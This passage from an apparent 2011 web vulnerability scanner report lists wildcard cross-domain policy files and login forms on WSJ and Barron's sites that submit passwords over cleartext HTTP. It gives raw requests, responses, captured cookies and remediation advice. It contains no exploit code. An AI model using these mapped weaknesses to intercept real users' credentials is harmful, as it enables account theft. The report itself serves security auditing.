6.7. http://static.2mdn.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://static.2mdn.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: static.2mdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Sat, 14 May 2011 08:21:12 GMT
Expires: Sun, 15 May 2011 08:21:12 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 7028

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.8. http://stats.wordpress.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://stats.wordpress.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: stats.wordpress.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:14:46 GMT
Content-Type: text/xml
Connection: close
Content-Length: 309
Last-Modified: Tue, 22 Mar 2011 11:53:27 GMT
Accept-Ranges: bytes

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<grant-to>

...[SNIP]...

7. Cleartext submission of password previous next
There are 34 instances of this issue:

http://commerce.wsj.com/auth/login
http://commerce.wsj.com/auth/login
http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html
http://online.barrons.com/article/barrons_take.html
http://online.barrons.com/home-page
http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html
http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html
http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html
http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html
http://online.wsj.com/home-page
http://online.wsj.com/home-page
http://online.wsj.com/public/page/news-career-jobs.html
http://online.wsj.com/public/page/news-economy.html
http://online.wsj.com/public/page/news-real-estate-homes.html
http://realestate.wsj.com/for-sale/us/10010
http://realestate.wsj.com/for-sale/us/10010
http://realestate.wsj.com/item/822547
http://realestate.wsj.com/item/822547
http://topics.barrons.com/person/S/michael-santoli/6041
http://topics.wsj.com/djscript/latest/dj/widget/panels/view/SlidePanel.js
http://topics.wsj.com/subject/W/wall-street-journal/nbc-news-polls/6052
http://www.fins.com/
http://www.fins.com/Job-Interview-Tips
http://www.fins.com/Tour.aspx
http://www.smartmoney.com/
http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

7.1. http://commerce.wsj.com/auth/login previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/auth/login

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview

The form contains the following password fields:

passwordReg
passwordconfirmReg

Request

GET /auth/login?mg=inert-wsj&mod=login_artpreview HTTP/1.1
Host: commerce.wsj.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=2;sz=571x47;ord=4387438743874387;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:04 GMT
Server: Apache
Accept-Ranges: bytes
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 34176

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</div>
<form action="" method="post" accept-charset="utf-8">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" maxlength="15" value="" id="passwordReg" class="text" onblur="javascript:djcsreg.checkFreeRegBlur(4)" onfocus="javascript:djcsreg.checkFreeRegFocus(4)" />
</div>
...[SNIP]...
</label>
<input type="password" name="passwordconfirmReg" maxlength="15" value="" id="passwordconfirmReg" class="text" onblur="javascript:djcsreg.checkFreeRegBlur(5)" onfocus="javascript:djcsreg.checkFreeRegFocus(5)" />
</div>
...[SNIP]...

7.2. http://commerce.wsj.com/auth/login previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://commerce.wsj.com
Path:	/auth/login

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:04 GMT
Server: Apache
Accept-Ranges: bytes
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html
Content-Length: 34176

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<div class="fr_formElements">

<form action="/auth/submitlogin" method="post" accept-charset="utf-8">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="password" maxlength="30" value="" id="password" class="text" size="20" />
</div>
...[SNIP]...

7.3. http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/SB50001424052970203286304576313262992330454.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field:

password

Request

GET /article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; rsi_csl=; rsi_segs=; DJSESSION=BIZO%3Dbiz%3D1053%3B; s_sq=djglobal%2Cdjbarrons%3D%2526pid%253DBOL_Home_0_0_BH_0001_public%2526pidt%253D1%2526oid%253Dhttp%25253A//online.barrons.com/article/SB50001424052970203286304576313262992330454.html%25253Fmod%25253DBOL_hpp_dc%2526ot%253DA

Response

7.4. http://online.barrons.com/article/barrons_take.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/barrons_take.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field:

password

Request

GET /article/barrons_take.html?mod=BOL_other_tnav_analysis HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://topics.barrons.com/person/S/michael-santoli/6041
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; DJSESSION=BIZO%3Dbiz%3D1053%3B; Barrons_Community=; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; s_sq=djglobal%2Cdjbarrons%3D%2526pid%253DBOL_Topics_Michael%252520Santoli%252520-%252520Barrons%252520Columnist%2526pidt%253D1%2526oid%253Dhttp%25253A//online.barrons.com/article/barrons_take.html%25253Fmod%25253DBOL_other_tnav_analysis%2526ot%253DA

Response

7.5. http://online.barrons.com/home-page previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/home-page

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login

The form contains the following password field:

password

Request

GET /home-page HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:52 GMT
Server: Apache/2.0.58 (Unix)
X-DEBUG-BOX-IDENT: sbkj2kapachep08
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /home-page
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep08
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /home-page?mg=reno-barrons&url=http%3A%2F%2Fonline.barrons.com%2Fhome-page
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep08
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /public/page/0_0_BH_0001_public.html
X-DEBUG-NAMESPACE: reno-barrons
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:13:07 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Length: 104322
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="mainLogin hidden" id="nonSubLoginArea">

<form method="post" action="http://commerce.barrons.com/auth/submitlogin?mod=BOL_header_login" name="login_form" id="login_form">
<input name="url" value="http://online.barrons.com/home-page" type="hidden">
...[SNIP]...
<li class="loginPassword">Password: <input class="password" type="password" name="password" /></li>
...[SNIP]...

7.6. http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576313682030967852.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

GET /article/SB10001424052748703730804576313682030967852.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; _chartbeat2=wh4hk9xmdxztvs8m; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.1.10.1305367794; rsi_csl=; rsi_segs=; mbox=session#1305367797515-52119#1305369821|check#true#1305368021; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:34:55 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Sat 05/14/11 - 00:07:07 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:35:10 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 184798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</div>

<form name="freeRegistration_form" id="freeRegistration_form" action="" method="post" accept-charset="utf-8" onsubmit="return false;">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" value="" id="passwordReg" maxlength='15' class="text" />
</div>
...[SNIP]...
</label>

<input type="password" name="passwordConfirmationReg" value="" id="passwordConfirmationReg" maxlength='15' class="text" />
</div>
...[SNIP]...

7.7. http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576313682030967852.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:34:55 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Sat 05/14/11 - 00:07:07 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:35:10 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 184798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.8. http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576317293981683266.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

GET /article/SB10001424052748703730804576317293981683266.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.4.10.1305367794; s_cc=true; _chartbeat2=wh4hk9xmdxztvs8m; rsi_csl=lA; rsi_segs=G07608_10001; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWSJ_Asia%252520House%252520of%252520the%252520Day_Outdoor%252520Living_slideshow_1_of_12%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/houseoftheday/US%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:55:10 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep05 - Fri 05/13/11 - 15:25:02 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:55:25 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 136637

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</div>

<form name="freeRegistration_form" id="freeRegistration_form" action="" method="post" accept-charset="utf-8" onsubmit="return false;">
<ul class="regForms">
...[SNIP]...
</label>
<input type="password" name="passwordReg" value="" id="passwordReg" maxlength='15' class="text" />
</div>
...[SNIP]...
</label>

<input type="password" name="passwordConfirmationReg" value="" id="passwordConfirmationReg" maxlength='15' class="text" />
</div>
...[SNIP]...

7.9. http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576317293981683266.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:55:10 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep05 - Fri 05/13/11 - 15:25:02 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:55:25 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 136637

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.10. http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576314083707711492--LESS.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://commerce.wsj.com/auth/submitlogin

The form contains the following password field:

password

Request

GET /article/SB10001424052748703864204576314083707711492--LESS.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/item/822547?as%5Bcountry_code%5D=us&as%5Blocation%5D=10010&as%5Bsid%5D=56936&as%5Btransaction%5D=for-sale&item_offset=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); mbox=session#1305367797515-52119#1305370512|check#true#1305368712; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B%7C%7CFREEREGSCRIMCOUNT%3Dnull; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; _chartbeat2=wh4hk9xmdxztvs8m; __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.4.10.1305367794; rsi_csl=lA; rsi_segs=G07608_10001; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjwsj%3D%2526pid%253DWSJ_RE_Search%252520Results_Detail_List%2526pidt%253D1%2526oid%253Dhttp%25253A//online.wsj.com/houseoftheday%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:53:53 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep06 - Sat 05/14/11 - 06:49:36 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:54:08 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 140646

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</h4>
<form action="http://commerce.wsj.com/auth/submitlogin" id="login_form" name="login_form" method="post" onsubmit="suppress_popup=true;return true;">
<fieldset>
...[SNIP]...
</label>
<input type="password" name="password" id="login_password" class="login_pswd" tabindex="2" value="" maxlength="30"/>
<input type="hidden" name="url" id="page_url" value=""/>
...[SNIP]...

7.11. http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576314083707711492--LESS.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html

The form contains the following password fields:

passwordReg
passwordConfirmationReg

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:53:53 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep06 - Sat 05/14/11 - 06:49:36 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:54:08 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 140646

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
